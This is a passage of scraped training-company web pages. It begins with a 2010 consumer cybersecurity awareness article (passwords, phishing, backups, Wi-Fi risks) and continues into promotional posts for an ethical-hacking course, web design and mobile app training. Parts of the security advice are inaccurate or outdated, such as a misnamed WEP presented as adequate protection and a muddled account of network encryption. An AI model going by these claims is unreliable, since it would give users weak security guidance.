Now, the question is, “What makes users use predictable passwords irrespective of perceived threats?” Consider the number of accounts that require a user to “login,” throughout a user’s daily routine. Social networking sites, bank websites, official web applications, databases and email ids.
Some of the reasons for using predictable and insecure passwords include:
a) Easy to remember
b) Lack of uniformity in password policy across websites.
A strong password must be a combination of letters, numerals and special
characters and must not be less than eight characters long. A password should
not be predictable. Users must employ different passwords for each of their
individual online accounts.
ii. Phished
Do you respond to e-mails asking for account information? If your answer is,
“Yes.” then you are more likely [than not], to be a victim of a phishing scam. Phishing is a common method of identity theft that utilizes fake e-mails which are sent to customers to acquire sensitive user information.
Example:
Mr. “XYZ” has a savings account with Target bank. Last weekend, Mr. XYZ received an e-mail from customersecurity@targetbank.co.uk with a subject line, ”Update your Target bank online access.”
The e-mail stated that the bank had recently upgraded its services and requested that the recipient fill out a “Customer Update Form” on the link  http://www.targetbank.com. Since Mr. XYZ assumed that the email came from his own bank, he clicked on the provided link. The link took him to a website which appeared to be identical to Target bank’s website. Mr. XYZ filled out the web form containing personal
information as well as authentication details, which the “Customer Update Form” required.
A day later, when he logged on to his online account at https://www.targetbank.com, he was shocked to find that all the funds in his account had been drained.
Mr. XYZ was the victim of a simple phishing scam. Let’s review some basic details that Mr. XYZ missed in the email. First, the mail did not address him by his name; instead, it used “Dear Customer”. Second, the email id ended with “co.uk”, while ideally it should have ended with “.com.” Third, the link, “http://targetbank.com” lead to a fake site www.malicious.ie/userdetails.asp. Finaly, banks usually do not ask customers to reveal “access details” through email.
This is the type of example that can be shared with an employee while training them not to respond to or click on links provided in a “suspicious e-mail.”

iii. Lack of data back up
A user can lose data in events such as hardware or software failure, a virus attack, file corruption, accidental file deletion, application failure, damage of partition structure, or even damage due to power failure. Appropriate data backup procedures allow a user to restore data in times of crisis. There are many ways to backup data such as storing it on CD or DVDs drives, thumb drives, and external
hard disks. Users can create a complete system backup by using a disk image 1. Another secure way to back up data is to employ an online backup service whose main business function is to host uploading and downloading of files as well as file compression and encryption. The basic premise behind backing up data is to make “backed up” data available for later use. Depending upon the changes in
data, a user may schedule backup activity on an hourly, daily or weekly basis. Users can make use of backup options available on a backup utility to verify that all data is properly copied
1 A disk image is a complete sector‐by‐sector copy of the device and replicates its structure and contents
It is not uncommon to “back up your back up” by creating multiple copies of data, so that in case one backup copy is damaged, another copy could be used. Data, which has been backed up, must be adequately protected from malware, Trojans or other cyber threats by using anti-virus solutions and regular updates. Another process, which can prove to be valuable, is to store a copy of data at an offsite
location to safeguard data from any disaster at current premises. While recovering backup files, it is a good idea to have a data recovery software in place to retrieve files from external hard drives.
iv. Insecure Internet Browsing
A Web browser is the gateway to the Internet and is one of the most widely utilized applications. Web browsers are embedded with scripts, applets, plugins and Active X controls. However, these features can be used by hackers to infect unprotected computers with a virus or malicious code. For example, web browsers allow plugins like a flash viewer to extend functionality. Hackers may create malicious flash video clips and embed them in web pages. Vulnerabilities in a web browser can compromise the security of a system and its information. To control security threats, a user may:
a. Disable active scripting in the web browser

b. Add risky sites encountered under restricted sites zone
c. Keep Web browser security level at medium for trusted sites and high for
restricted sites
d. Uncheck the AutoComplete password storage feature in AutoComplete e. Avoid downloading free games and applications as they may have in-built spyware and malware
f. Use anti-spyware solutions
Cyber threats that originate as the result of web browser vulnerabilities, can be controlled by using the latest versions of the web browser software, or by installing updates and configuring settings to disable applets, scripts, plugins and Active X controls.
v. Use of pirated software
Do you use pirated operating systems and/or software?
If your answer is, “Yes.” then you are more likely [than not], to be vulnerable to cyber-attacks.
The ease of availability and often low cost of pirated software can entice users to install pirated software on their computers. However, pirated software may not have the same configuration strength that is available with “genuine software.” The threat to individuals and companies from the risk of privacy, identity or data protection breaches and the exposure of financial implications in the cyber space
make the purchase of “genuine software,” a must. Pirated software may be used to harvest Trojans and viruses in computer systems and since the software is “unsupported” the user is deprived of technical support. Another downside is that software updates are not available to those who have installed pirated software. We purchase software for its functionality and pirated software may lead to frequent interruptions and has even been documented to cause damage to your hard disk. Users who purchase and install genuine software products will benefit from technical support, product updates, un-interrupted services and in the long run; cost savings.
vi. Misuse of Portable storage devices.
The last few years have seen an increased usage of portable storage devices. These devices have brought improvements in working practices, but they also pose a threat to data via theft or leakage. These devices have high storage capacity and can easily be connected to other devices and/or to network
resources. Users can use portable storage devices to download software, applications and data by connecting to official networks. Portable storage devices may also be used to download privileged business information and sensitive customer information. Organizations can restrict the use of portable storage devices to selected users or selected set of devices. “The loss or theft of portable devices can lead to loss or “leakage” of sensitive business and/or user information. “
An example:  In 2007, a leading provider of a Security Certification lost a laptop containing names, addresses, social security numbers, telephone numbers, dates of birth and salary records of employees. In this case, the sensitive business information could have been encrypted to protect data from leakage, even if the device was stolen.

vii. Lack of proper encryption If a user does not have the proper network security practices in place, they are essentially inviting malicious entities to attach their system. Whether a system is a wired or wireless network it is crucial for the proper security safe guards to be in  place to assure safe operations while the computer is active in a live session on the web. Some of the risks that one can expect from an unsecured network include:
a. Unauthorized access to files and data
b. Attackers may capture website traffic, user id and passwords,
c. Attackers may inject a software to log user key strokes and steal sensitive information
d. Unauthorized access to corporate network. (In the event that the user’s network is connected to a corporate network.)
e. A users IP address could be compromised and unauthorized users may use it for illegal transactions. (User network may be used to launch spam and virus attacks on other users.)
A network can be secured by using proper encryption protocols. Network
encryption involves the application of cryptographic services on the network transfer layer, which exists between the data link level and the application level. Data is encrypted during its transition from the data link level to the application level. Wired networks use Internet Protocol Security, while Wireless Encryption Protocol is used to encrypt wireless networks.
viii. Lack of regular updates
Cyber threats are always on the horizon. New versions and updates of security products are released on a regular basis with enhanced security features to guard against latest threats. A user can make use of recommended practices to improve defense against cyber-attacks. Users may also keep track of latest versions of software to improve performance. Since some software developers only issue updates for the latest versions of their software, a user that is using an older version, may not benefit from the latest updates. One of the crucial ways to reduce vulnerabilities is to regularly update the system’s network security devices and related software.
ix. Using Wireless Hotspots
Wireless users often look for convenient ways to gain Internet access, and public Wi-Fi hotspots provide quick, easy and free access to the Internet. What can be more convenient than that? A resourceful wireless user can find Wi-Fi access points at public places such as Cyber café’s, universities, offices, airports, railway stations and hotels. However, these Wi-Fi hotspots may be insecure. Some of the
risks involved in connecting to Wi-Fi hotspots include:
a. Users may be required to use the ISP that is hosting the Internet access for the business that is creating a particular access point. Not all ISPs provide secure SMTP for sending e-mail. In other words, it is possible that any e-mail that is sent and received by users via a “random” hot spot could be
Ten Deadly Sins of Cyber Security August 2010
All Rights Reserved. Reproduction is Strictly Prohibited intercepted by other users sharing the same hot spot. (All users in the same hot spot are sharing the same network.)
b. If a user’s wireless card is set to ad-hoc mode, other users can connect directly.
c. If the access point does not use encryption technology like WEP, other users with a Wi-Fi card could intercept and read the username, passwords, and any other information transmitted by a user.
While using public access points it is safe to use secure websites protected by the Secure Sockets Layer. Using infrastructure mode is safer than ad-hoc mode as it uses access controls to connect to network. A Virtual Private Network (VPN) is a secure way for a user to connect with their company network. (VPN creates secure access to private network over public connections.)
x. Lack of awareness/ proper training Internet and wireless technologies have revolutionized the daily routine of users. With the aid of this new technology, users can conduct transactions, access bank accounts and reserve airline tickets in few minutes. The downside of this new technology is that there are also incidents of data breach and transaction frauds. Cyber security is becoming an issue of major concern. However, users can avoid most of the risks by employing simple precautions. (Lack of awareness is a major hurdle in the safe use of the cyberspace.) Selection of weak passwords is one of
the most fundamental errors committed by users. Unaware users are tempted to reveal authentication details through phishing. Inadequate firewall protection, lack of regular software updates can make systems vulnerable to cyber threats. Users may take precautions by adhering to cyber security tips given on websites of banks, regulatory organization, security product developers, and information
security departments such as SOUTECH VENTURES. Organizations can create awareness among employees through regularly scheduled meetings, training programs and workshops.
3. Conclusion
The proliferation of information technology has also presented the criminals with more attack
vectors. Consequently, cybercriminals make use of every possible vulnerability and opportunity to exploit and launch attack. For example, web feeds designed for productive use of users in meeting information requirements may be used by cybercriminals as attack vectors. Cybercrime can be countered by proactive cyber security initiatives. Creating awareness among users is crucial to limit threats in cyber space. Convergence of laws related to cyber security across international boundaries could also assist in the appropriate handling of cybercrime.

Attend a cyber security training course in Abuja or take online class in cyber security/ ethical hacking TODAY!

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Certified Ethical Hacking Certification training center in Abuja Nigeria- Live class and online training

Certified Ethical Hacking Certification

CEH-Cert-Mokcup-02-1A Certified Ethical Hacker is a skilled professional who understands and knows how to look for weaknesses and vulnerabilities in target systems and uses the same knowledge and tools as a malicious hacker, but in a lawful and legitimate manner to assess the security posture of a target system(s). The CEH credential certifies individuals in the specific network security discipline of Ethical Hacking from a vendor-neutral perspective.

The purpose of the CEH credential is to:

  • Establish and govern minimum standards for credentialing professional information security specialists in ethical hacking measures.
  • Inform the public that credentialed individuals meet or exceed the minimum standards.
  • Reinforce ethical hacking as a unique and self-regulating profession.

About the Exam

  • Number of Questions: 125
  • Test Duration: 4 Hours
  • Test Format: Multiple Choice
  • Test Delivery: ECC EXAM, VUE
  • Exam Prefix: 312-50 (ECC EXAM), 312-50 (VUE)

CERTIFIED ETHICAL HACKER TRAINING PROGRAM

Most Advanced Hacking Course

 divider
 The Certified Ethical Hacker program is the pinnacle of the most desired information security training program any information security professional will ever want to be in. To master the hacking technologies, you will need to become one, but an ethical one! The accredited course provides the advanced hacking tools and techniques used by hackers and information security professionals alike to break into an organization. As we put it, “To beat a hacker, you need to think like a hacker”.
 This course will immerse you into the Hacker Mindset so that you will be able to defend against future attacks. The security mindset in any organization must not be limited to the silos of a certain vendor, technologies or pieces of equipment.

This ethical hacking course puts you in the driver’s seat of a hands-on environment with a systematic process. Here, you will be exposed to an entirely different way of achieving optimal information security posture in their organization; by hacking it! You will scan, test, hack and secure your own systems. You will be taught the five phases of ethical hacking and the ways to approach your target and succeed at breaking in every time! The five phases include Reconnaissance, Gaining Access, Enumeration, Maintaining Access, and covering your tracks.

Underground Hacking Tools

The hacking tools and techniques in each of these five phases are provided in detail in an encyclopedic approach to help you identify when an attack has been used against your own targets. Why then is this training called the Certified Ethical Hacker Course? This is because by using the same techniques as the bad guys, you can assess the security posture of an organization with the same approach these malicious hackers use, identify weaknesses and fix the problems before they are identified by the enemy, causing what could potentially be a catastrophic damage to your respective organization.

We live in an age where attacks are all susceptible and come from anyplace at any time and we never know how skilled, well-funded, or persistent the threat will be. Throughout the CEH course, you will be immersed in a hacker’s mindset, evaluating not just logical, but physical security. Exploring every possible point of entry to find the weakest link in an organization. From the end user, the secretary, the CEO, misconfigurations, vulnerable times during migrations even information left in the dumpster.

About the Program

 Our security experts have designed over 140 labs which mimic real time scenarios in the course to help you “live” through an attack as if it were real and provide you with access to over 2200 commonly used hacking tools to immerse you into the hacker world.

As “a picture tells a thousand words”, our developers have all this and more for you in over 1685 graphically rich, specially designed slides to help you grasp complex security concepts in depth which will be presented to you in a 5 day hands on class by our Certified EC-Council Instructor.

The goal of this course is to help you master an ethical hacking methodology that can be used in a penetration testing or ethical hacking situation. You walk out the door with ethical hacking skills that are highly in demand, as well as the internationally recognized Certified Ethical Hacker certification! This course prepares you for EC-Council Certified Ethical Hacker exam 312-50.

What is New in CEH Version 9 Course

  • Focus on New Attack Vectors
    • Emphasis on Cloud Computing Technology
      • CEHv9 focuses on various threats and hacking attacks to the emerging cloud computing technology
      • Covers wide-ranging countermeasures to combat cloud computing attacks
      • Provides a detailed pen testing methodology for cloud systems to identify threats in advance
    • Emphasis on Mobile Platforms and Tablet Computers
      • CEHv9 focuses on the latest hacking attacks targeted to mobile platform and tablet computers and covers countermeasures to secure mobile infrastructure
      • Coverage of latest development in mobile and web technologies
  • New Vulnerabilities Are Addressed
    • Heartbleed CVE-2014-0160
      • Heartbleed makes the SSL layer used by millions of websites and thousands of cloud providers vulnerable.
      • Detailed coverage and labs in Module 18: Cryptography.
    • Shellshock CVE-2014-6271
      • Shellshock exposes vulnerability in Bash, the widely-used shell for Unix-based operating systems such as Linux and OS X.
      • Detailed coverage and labs in Module 11: Hacking Webservers
    • Poodle CVE-2014-3566
      • POODLE lets attackers decrypt SSLv3 connections and hijack the cookie session that identifies you to a service, allowing them to control your account without needing your password.
      • Case study in Module 18: Cryptography
    • Hacking Using Mobile Phones
      • CEHv9 focuses on performing hacking (Foot printing, scanning, enumeration, system hacking, sniffing, DDoS attack, etc.) using mobile phones
      • Courseware covers latest mobile hacking tools in all the modules
    • Coverage of latest Trojan, Virus, Backdoors
    • Courseware covers Information Security Controls and Information
    • Security Laws and Standards
    • Labs on Hacking Mobile Platforms and Cloud Computing
    • More than 40 percent new labs are added from Version 8
    • More than 1500 new/updated tools
    • CEHv9 program focuses on addressing security issues to the latest operating systems like Windows 8.1
  • It also focuses on addressing the existing threats to operating environments dominated by Windows 7, Windows 8, and other operating systems (backward compatibility)
 Ready to take the training check below link:

Social Media Marketing- Digital skills for business growth: SOUTECH VENTURES

SOCIAL MEDIA: THE EFFECTIVE AND ACCESSIBLE MARKETING TOOL THAT IS ESSENTIAL FOR YOUR BUSINESS GROWTH.

Let me guess what you are thinking, “is there a marketer I can use effectively without paying for the service rendered?” Yes! Off-course, most businesses and services are benefitting from it, so you should consider it as well. This marketer is more like a tool and the name is simply called Social Media.

SOCIAL MEDIA: Communication is a basic human need and for that reason man has always find a means of meeting this need. The earliest forms of personal media, speech and gestures, had the benefit of being easy to use and did not necessarily need complex technology. The development of Social media has eliminated the weakness of not being able to communicate to large audiences, by creating a simple platform of communicating to the entire world using internet enable devices

We use it almost every day, chat with family and friends, stay connected, read the news update, upload new pictures of events and activities etc. With social media one can drive focus groups, do research, utilize data to map your audience and potential consumers, which also enables direct marketing and other efforts. The truth is that these tools are available and if you decide not to use them then you cannot blame your team if you fail. There are professional ways to measure media spend and metrics, there are tangible ways to influence the audience which rely on more than intuition.

SOCIAL MARKETING: Using social media for marketing can enable small business looking to further their reach to more customers. Your customers are interacting with brands through social media, therefore, having a strong social media marketing plan and presence on the web is the key to tap into their interest. If implemented correctly, marketing with social media can bring remarkable success to your business.

HOW TO USE: Effective Utilization of social media for marketing, require some set of skills and training. I strongly recommend that you take a digital marketing certificate course, it will give an insight on how social media marketing really works and effective ways of transforming it into a more effective marketing tool for your business and services.

Some of the Benefits you get from using the social media as an effective marketing tool includes:

  1. Increased Brand Recognition
  2. Enhanced Customer Insights
  3. Developed brand loyalty
  4. Reduced Marketing Costs.
  5. Better Inbound Traffic.
  6. Strong Brand Authority
  7. More Opportunities to Convert

You can as well become a social media marketing expert by taking the digital marketing certificate course, from Soutech Ventures.

CONCLUSION: Actively using social media is one of the easiest ways to reach a large audience and get the company or brand name in the heads of existing or potential customers. Not only does an already established network help to create new contacts, it will also help to deepen connections that have been formed. Even though this sounds very familiar to traditional marketing techniques, social media has given them a new twist. Companies that fail to adopt to a new more connected and interactive market, will inevitably fall behind.

What Next:

Get a complete home video/slides/book training kit on how to design a website

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Attend a hands-on training at SOUTECH website design training program in Abuja. Contact Us Today. Click here to attend a training today.

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Building your own website today: Expert Opinion and Guide- SOUTECH Ventures

eCommerce WebsiteTHE CONCEPT OF BUILDING A WEBSITE ON YOUR OWN?

It is a great idea with wonderful experiences and you can do it. Apart from building websites for a fee to prospects, you can as well build yours and earn money from it in so many different ways.

To build a website, you will require some set of skills, but that doesn’t mean you will have to spend years in an institution or on training, no! you can acquire the skills you need within days or weeks of web design training from Soutech Ventures.

To build a website you must put into consideration, some processes and implementations in order to achieve your desired result. Few of the processes you must consider are as follows.

Functionality – This is a very important aspect of website building. Functionality has to do with what the website can do. The functionality of a website is the interactive part of the site – that which allows the visitor to respond in some way, thus turning the visitor into a customer. for instance, online chat, membership, registration, social media integration, online payment integration, email and sms notification, newsletter system, online booking – these are functionalities.

UX/UI – The functionality determines the design which is the visual-graphic display of the website. UX/UI is an abbreviation for user experience (UX) or user interface (UI). It gives your visitors the look and feel, making them understand exactly what your website is all about. When building a website, it is very important that your design should be friendly, easy to access and concise, otherwise your visitors will find it difficult to access information on your website.

Hosting – After you have completed the design of your website, you will now want to make it go live to the world, a hosting server is what you will need. When choosing a hosting server, you will have to consider traffics, functionality and features on your proposed website. These include files, access and security. The country of the hosting server is also to be considered as well. At a point you may require the help of an expert to host, manage or administer your website for you.

Responsive Website Design: When creating websites there is need to create websites that can adapt to various screen sizes i.e phones, tablets, laptops, desktops, TV screens etc.

Soutech Ventures has been proven reliable in Web Development for over the years, and we deliver to our customers’ expectations. Join one of our training sessions today and become an expert in website designing.

What Next:

Get a complete home video/slides/book training kit on how to design a website

 Click Here – Nationwide Delivery within 24hrs.

Attend a hands-on training at SOUTECH website design training program in Abuja. Contact Us Today. Click here to attend a training today.

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Click here to get a website today

Mobile Application Development Services- Click here

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How to become a mobile application development expert- SOUTECH Ventures

A little bite of history: 

With mobile device manufactures each having its own preferred development environment, a growth mobile phone application developments that are World Wide Web capable and a large population of HTML savvy developers, there has arisen web-based application frameworks to help developers write applications that can be deployed on multiple devices.

There are several ways to build mobile applications, and using a framework

 A framework is the base of your future application. Its usage greatly simplifies the whole development process. Instead of writing an application from scratch and dealing with large portions of code to make your application work on different platforms – you use a framework. Here’s a list of framework for mobile app development:

Also what is a hybrid application(Hybrid Mobile Applications. Hybrid development combines the best (or worst) of both the native and HTML5 worlds. We define hybrid as a web app, primarily built using HTML5 and JavaScript, that is then wrapped inside a thin native container that provides access to native platform features.

 Bootstrap is a free, open-source. Front – End framework used for creating websites & web applications. It contains HTML and CSS based templates for forms, buttons, typography, navigation and other interface components, as well as other optional JavaScript extensions.

2. Apache Cordova

Apache Cordova is a popular Mobile Development Framework. Cordova enables software programmers to build applications for mobile devices using HTML5, CSS3, JavaScript, Android, iOS, Windows Phone.

3. Ionic

Ionic is a Free open source. It offers a library of mobile-optimized HTML , CSS and JS components, gestures, and tools for building highly interactive apps. Built with Sass and optimized for AngularJS.

4. Framework 7

It is an HTML framework for building iOS and Android apps . Framework 7 is a opensource framework to develop hybrid mobile apps. It has Full Featured HTML Framework for Building iOS & Android Apps.

5. PhoneGap

PhoneGap is an open source framework for building fast, and easy mobile apps . It built hybrid application with HTML, CSS and Javascript.

6. Appcelerator Titanium

Appcelerator Titanium is an open-source framework. It allows create mobile apps on platforms including iOS, Android and Windows Phone from a single JavaScript codebase.

7. jQuery Mobile

It is an HTML5-based user interface system designed to make responsive web sites and apps. JQueryMobile is a robust mobile development framework. It is used to build cross-mobile platform app. JQuery Mobile supports a wide range of different platforms, from a regular desktop, smart phone, tablet.

8. React Native

React Native built mobile apps only with JavaScript. It uses the same design as React, letting you to compose a rich mobile UI from declarative components. it builds native iOS and Android apps with JavaScript.

9. Kendo UI

The Kendo UI framework builds, interactive and high-performance websites and applications. The framework comes with a library of UI widgets, client-side data source, an abundance of data-visualization gadgets, built-in MVVM library.

10. Onsen UI

Onsen UI is an open-source UI framework. It is based on PhoneGap and Cordova. Onsen UI allows the developers to create mobile apps using CSS, HTML5, and JavaScript.

What Next:

Get a complete home video/slides/book training kit on each of this framework and start developing mobile apps:  Click Here – Nationwide Delivery within 24hrs.

Attend a hands-on training at SOUTECH Mobile Application Development training in Abuja. Contact Us Today. Click here to attend a training today.

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Mobile Application Development Services- Click here

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Mobile Application Development Solution and Training Company in Abuja, Nigeria

We are Mobile App Development Company with experience of delivering over 500 projects for about clients across Nigeria, Africa,US, Europe, Australia and Middle East.

 We provide affordable solutions with high levels of satisfaction to global organizations at competitive prices and followed is a list of services offered by us:

    UX/UI Design

   IOS, Android and Windows based Apps Development

   Web Application Development (LAMP, .NET, Python)

   Enterprise Application Development (Web, Mobile and MS technologies)

 Get to us today for your solution deployment